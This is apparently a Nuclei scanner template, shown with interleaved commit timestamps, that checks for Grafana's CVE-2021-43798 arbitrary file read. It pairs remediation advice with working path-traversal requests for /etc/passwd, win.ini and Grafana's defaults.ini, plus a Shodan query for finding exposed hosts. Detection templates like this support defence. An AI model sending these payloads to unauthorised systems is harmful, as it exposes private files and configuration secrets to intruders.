2021-12-08 11:16:47 +00:00
id : CVE-2021-43798
info :
2023-04-19 21:20:57 +00:00
name : Grafana v8.x - Arbitrary File Read
2023-04-18 15:23:43 +00:00
author : z0ne,dhiyaneshDk,j4vaovo
2021-12-08 11:16:47 +00:00
severity : high
2022-05-17 09:18:12 +00:00
description : Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
2023-09-06 12:09:01 +00:00
remediation : Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
2021-12-08 11:16:47 +00:00
reference :
- https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
- https://nosec.org/home/detail/4914.html
- https://github.com/jas502n/Grafana-VulnTips
2022-02-21 18:33:16 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-43798
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html
2021-12-08 11:18:20 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-12-08 11:18:20 +00:00
cve-id : CVE-2021-43798
2022-02-21 18:33:16 +00:00
cwe-id : CWE-22
2023-10-14 11:27:55 +00:00
epss-score : 0.97243
2023-11-03 15:51:18 +00:00
epss-percentile : 0.99782
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
2022-07-07 10:16:05 +00:00
metadata :
2023-06-05 08:21:07 +00:00
verified : "true"
2023-09-06 12:09:01 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : grafana
product : grafana
2023-09-06 12:09:01 +00:00
shodan-query : title:"Grafana"
2023-07-12 11:56:50 +00:00
tags : packetstorm,cve,cve2021,grafana,lfi
2021-12-08 11:16:47 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-12-08 11:16:47 +00:00
- method : GET
path :
2023-04-20 08:26:10 +00:00
- '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd'
- '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini'
- '{{BaseURL}}/public/plugins/alertlist/../../../../../conf/defaults.ini'
2021-12-08 11:16:47 +00:00
2023-04-18 15:23:43 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2021-12-08 11:16:47 +00:00
matchers-condition : and
matchers :
2023-07-11 19:49:27 +00:00
- type : word
part : header
words :
- "text/plain"
2021-12-08 11:16:47 +00:00
- type : regex
regex :
2023-06-05 08:21:07 +00:00
- 'root:.*:0:([0-9]+):'
2023-05-04 17:28:33 +00:00
- '\/tmp\/grafana\.sock'
- '\[(fonts|extensions|Mail|files)\]'
2023-04-18 15:23:43 +00:00
condition : or
2021-12-08 11:16:47 +00:00
- type : status
status :
2022-02-21 18:33:16 +00:00
- 200
2023-11-01 14:47:00 +00:00
# digest: 4a0a0047304502210093dc33bb96dcda9ce138df9afef6416272dfcb5a5999a6336822a2ea9efc877d0220189bda66cbe00ce72a330c52ade44e12c7767658440779b4542e1a268496403d:922c64590222798bb761d5b6d8e72950